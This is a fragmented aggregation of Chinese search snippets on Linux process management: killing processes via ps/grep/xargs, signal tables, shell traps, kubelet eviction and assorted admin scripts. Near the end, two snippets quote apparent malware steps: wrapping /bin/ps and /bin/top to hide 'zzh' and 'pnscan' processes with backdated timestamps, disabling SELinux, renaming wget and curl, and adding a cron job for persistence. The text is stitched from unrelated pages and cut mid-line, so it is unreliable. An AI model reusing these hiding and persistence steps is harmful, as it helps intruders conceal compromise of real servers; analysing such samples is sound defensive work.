Sl 11:38 26:13 /usr/lib/firefox-3.6.18/firefox-bin smx 1857 0.0 0.1 6688 3644 pts/1 Ss 11:38 0:00 bash...$ pidof firefox-bin 1827 和pgrep相比稍显不足的是,pidof必须给出进程的全名。...就把进程相应的PID通过xargs传递给kill作参数,杀掉对应的进程。 改进7: 难道每次都要调用xargs把PID传递给kill?...$killall -9 firefox 附录:各种信号及其用途 Signal Description Signal number on Linux x86[1] SIGABRT Process aborted...7 SIGCHLD Child process terminated, stopped (or continued*) 17 SIGCONT Continue if stopped 18 SIGFPE
Sl 11:38 26:13 /usr/lib/firefox-3.6.18/firefox-bin smx 1857 0.0 0.1 6688 3644 pts/1 ...$ pidof firefox-bin 1827 和pgrep相比稍显不足的是,pidof必须给出进程的全名。...就把进程相应的PID通过xargs传递给kill作参数,杀掉对应的进程。 改进7: 难道每次都要调用xargs把PID传递给kill?...raised by alarm14SIGBUSBus error: "access to undefined portion of memory object"7SIGCHLDChild process terminated...violation11SIGSTOPStop executing temporarily19SIGTERMTermination (request to terminate)15SIGTSTPTerminal stop signal20SIGTTINBackground
公众号:北野茶缸子 前言 如ls, echo 等等在内的命令,并不能直接接受多行文本。...比如: ❯ conda info -e | echo Exception ignored in: ' mode='w' encoding...-p 参数则是,打印出将要执行的命令,相当于在命令执行前,先echo 出来,进行确认: ❯ ps -ef | grep sleep | grep -v grep | awk '{print $2}' |...y [3] + 59801 terminated sleep 10000 [2] + 59799 terminated sleep 10000 [1] + 59791 terminated...echo {0..9} | xargs -n 2 echo 0 1 2 3 4 5 6 7 8 9 参考资料 [1] xargs 命令教程 - 阮一峰的网络日志: https://ruanyifeng.com
所处磁盘已占用达到80% 清理异常pod ~]# kubectl get pods -ncpaas-system |grep -v Running|grep -v NAME|awk '{print $1}'|xargs...Eviction Signal Description memory.available memory.available := node.status.capacity[memory] – node.stats.memory.workingSet.../bin/bash #!.../usr/bin/env bash # This script reproduces what the kubelet does # to calculate memory.available relative...terminated pods that can exist before the terminated pod garbage collector starts deleting terminated
杀死进程的方式有以下几种: a) ps -ef | grep firefox | grep -v grep | awk '{print $2}' | xargs kill -s 9 b) pgrep...firefox | xargs kill -s 9 c) pidof firefox | xargs kill -s 9 或 d) kill -s 9 `ps -ef | grep firefox |...附录:各种信号及其用途 Signal Description Signal number on Linux x86 SIGABRT Process aborted 6 SIGALRM Signal raised...by alarm 14 SIGBUS Bus error: "access to undefined portion of memory object" 7 SIGCHLD Child process terminated...SIGINT Interrupt 2 SIGKILL Kill (terminate immediately) 9 SIGPIPE Write to pipe with no one reading 13
SIGNAL=${SIGNAL:-TERM} PIDS=$(ps ax | grep java | grep -i QuorumPeerMain | grep -v grep | awk '{print...$1}') if [ -z "$PIDS" ]; then echo "No zookeeper server to stop" exit 1 else kill -s $SIGNAL...fi lsof -i:5601 | awk 'NR==2 {print $2}' | xargs kill -9 echo "Kibana has stoped!"...jps | grep "Logstash" | awk '{print $1}' | xargs kill -9 echo "Logstash has stoped!"...SIGNAL=${SIGNAL:-TERM} PIDS=$(ps ax | grep java | grep -i QuorumPeerMain | grep -v grep | awk '{print
: read error"); } 源码地址:unpv13e/lib/str_echo.c TCP回射客户程序 源码地址:unpv13e/tcpcliserv/tcpcli01.c 创建套接口,初始化套接口地址结构...为了兼容这两个实现,我们定义自己的signal函数,使用signal的语义,但是调用Posix函数sigaction。...源码地址:unpv13e/lib/signal.c 用typedef简化函数原型 函数signal的正常函数原型因层次太多而变得很复杂: void (*signal(int signo, void (*.../tcpserv03 child 2892 terminated child 2891 terminated child 2888 terminated child 2889 terminated 按道理五个客户端终止时.../tcpserv04 child 3872 terminated child 3874 terminated child 3867 terminated child 3871 terminated child
program was going to be terminated prematurely..../bin/bash # trap-demo : simple signal handling demo trap "echo 'I am ignoring you.'".../bin/bash # trap-demo2 : simple signal handling demo exit_on_signal_SIGINT () { echo "Script interrupted...." 2>&1 exit 0 } exit_on_signal_SIGTERM () { echo "Script terminated." 2>&1 exit 0 } trap...exit_on_signal_SIGINT SIGINT trap exit_on_signal_SIGTERM SIGTERM for i in {1..5}; do echo "Iteration
/sh /usr/local/nginx/logs/cut_nginx_log.sh >/dev/null 2>&1 eof find -type f -mtime +5 | xargs rm -rf.../bin/bash date=`date +'%Y-%m-%d %H:%M:%S'` echo -e "------------------------------------------------...-v 2c -c limi@2018 192.168.100.1 1.3.6.1.4.1.2011.6.122.2.4.1.5 |awk '{print $4}' | sed 's/"//g' | xargs...-2660" },{"{#APID}":"13","{#APNAME}":"446a-2e13-2680" },{"{#APID}":"14","{#APNAME}":"446a-2e13-0e20".../bin/bash exec < access.log while read line do i=`echo $line|awk '{print $10}'` expr
echo $$ 20174 kill -9 | -KILL | -SIGKILL 20174 (2)根据进程名称先查找出 PID 再强制杀死。...ps -ef | grep COMMADNAME | awk '{print $2;}' | xargs kill -9 也可以使用 killall 命令根据进程名称杀死进程。...SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13...SIGRTMIN+7 42) SIGRTMIN+8 43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13...48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54)
/bin/bash echo "关闭服务" echo "`date "+%Y-%m-%d %H:%M:%S"` 正在杀进程..." ps -ef | grep 你的fridarpc服务.py | grep...-v grep | awk '{print $2}' | xargs kill -9 echo "`date "+%Y-%m-%d %H:%M:%S"` 进程已杀死!".../bin/bash echo "开始" echo "`date "+%Y-%m-%d %H:%M:%S"` 关闭frida..." ps -ef | grep frida | grep -v grep...| awk '{print $2}' | xargs kill -9 echo "`date "+%Y-%m-%d %H:%M:%S"` 进程已杀死!"...$2}' | xargs kill -9 echo "`date "+%Y-%m-%d %H:%M:%S"` 进程已杀死!"
jobid: 0 wildcards: file=2 cat 2.txt |xargs echo add a >2_add_a.txt [Tue Apr 2 21:09:19 2019..." shell: "cat {input} | xargs echo add b >{output}" rule addc: input: "{file..." shell: "cat {input} | xargs echo add b >{output}" rule addc: input: "{file..." shell: "cat {input} | xargs echo add b >{output}" rule addc: input: "{file..." shell: "cat {input} | xargs echo add b >{output}" rule addc: input: "{file
2.命令格式 kill -l [SIGNAL] kill [-s SIGNAL | -SIGNAL] PID......3.选项说明 -SIGNAL -s SIGNAL 指定信号名或信号值 -l [SIGNAL] 指定信号名或信号值,转换信号名与信号值。如果不指定信号,则列出所有信号。...echo $$ 20174 kill -9 20174 (2)根据进程名称先查找出 PID 再强制杀死。...ps -ef | grep COMMADNAME | awk '{print $2;}' | xargs kill -9 也可以使用 killall 命令根据进程名称杀死进程。...48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54)
stu03 ;echo 123456|passwd --stdin stu03 1.3 命令的生成 1.3.1 第一步 生成名字 [root@znix ~]# echo stu{01..3}|xargs...stu{01..3}|xargs -n1|sed -r 's#(.*)#useradd \1;echo 123456|passwd --stdin \1#g' useradd stu01;echo 123456...[root@znix ~]# echo stu{01..3}|xargs -n1|sed -r 's#(.*)#useradd \1;echo 123456|passwd --stdin \1#g'|bash...[root@znix ~]# echo stu{01..3}|xargs -n1|sed 's#....:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin MAIL=/var/spool/mail/root PWD=/root 使用su - 进行用户切换的时候会切换环境变量:
# processesa are found. function wait_for_exit { while pgrep -f "/usr/jexus" > /dev/null; do /bin.../sleep 1 done echo "All jexus process have stopped." } 处理应用关闭 Jexus 的关闭也很容易, 只要调用 /usr/jexus/jws...先定义一个 signal_trap 函数, 调用 stop_jws 函数来关闭 Jexus 服务器: # a function that is called whenever a signal is...caught requesting that # the process be terminated. in most cases, this will come from Docker # as this...script will be running as PID 1. function signal_trap { echo "A SIGTERM or SIGINT signal was caught
先来个简单的,假设我们要把PHP文件中的foo_bar全都替换成fooBar,那么可以如下: 方法一,使用Sed: shell> find /path -name "*.php" -print0 | xargs...'); 08 09 10 echo 'c'; 11 12 echo 'd'; 13 includeClass('...'); 14 15 16 echo 'e'; 17 ?...php 02 echo 'a'; 03 04 echo 'b'; 05 06 echo 'c'; 07 08 echo 'd'; 09 10 echo 'e'; 11 ?.../bin/bash for PHP in $@; do /bin/sed -i ' /includeClass/I { h d.../bin/bash for PHP in $@; do TMP=$(mktemp) /bin/awk ' BEGIN { IGNORECASE
chattr -i /usr/bin/pamdicks echo 1 > /usr/bin/ip6network echo 2 > /usr/bin/kswaped echo 3 > /usr/bin.../irqbalanced echo 4 > /usr/bin/rctlcli echo 5 > /usr/bin/systemd-network echo 6 > /usr/bin/pamdicks chattr.../bin/bash">>/bin/ps echo "ps.original \$@ | grep -v \"zzh\|pnscan\"">>/bin/ps chmod +...x /bin/ps touch -d 20160825 /bin/ps echo "/bin/ps changing" fi if [ -f "/bin/top.original...+x /bin/top touch -d 20160825 /bin/top echo "/bin/top changing" fi if [ -f "/bin
1821.convmv 转换文件名编码,其实这是一个 perl 脚本: 11:19:40#tp#test> echo 中国|iconv -f utf-8 -t gbk|xargs touch...1840.linux下ps -fe和ps aux都是截断,除非加-w, 我屏幕宽度157个字符,就是157截断,除非-ww,这样才是完整的 13:19:50#tp#~> echo $COLUMNS...157 13:19:53#tp#~> ps -fe|wc -L 157 13:19:58#tp#~> ps -few|wc -L 157 13:20:00...",printf 格式定义是:%'18.2f echo '123456789.12'|xargs -I@ printf "%'18.2f\n" @ # 其实 awk 调用的 printf.../bin/lsof,/home/bin/lsof.sh,/usr/bin/atop walkerxk ALL=(ALL) PASSWD:ALL,NOPASSWD:NP 这些命令
fi 11.是否删除与设备运行,维护等工作无关的账户 12.检查密码重复使用次数限制 13.检查是否配置账户认证失败次数限制 cd /etc/pam.d if [ -f system-auth.../usr/bin/wall /usr/bin/chfn /usr/bin/chsh /usr/bin/newgrp /usr/bin/write /usr/sbin/usernetctl /usr/sbin.../traceroute /bin/mount /bin/umount /bin/ping /sbin/netreport -type f -perm +6000 2>/dev/null >file.txt...bin/login /etc/passwd /bin/ps /usr/bin/top /etc/shadow|awk '{print "文件名:"$8" ""最后修改时间:"$6" "$7}' echo...>/etc/md5db md5sum /bin/ps >>/etc/md5db md5sum /usr/bin/top >>/etc/md5db; fi echo -------------------
/bin/sh setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sync && echo...bin/wget" ccdira="/usr/bin/wge" mv /usr/bin/wget /usr/bin/get mv /usr/bin/xget /usr/bin/get mv /usr/bin.../get /usr/bin/wge mv /usr/bin/curl /usr/bin/url mv /usr/bin/xurl /usr/bin/url mv /usr/bin/url /usr/bin...-f "/usr/bin/crontab" ] then echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir...-f "/usr/bin/crontab" ] then echo "*/30 * * * * sh /tmp/update.sh >/dev/null 2>&1" >> ${crondir}
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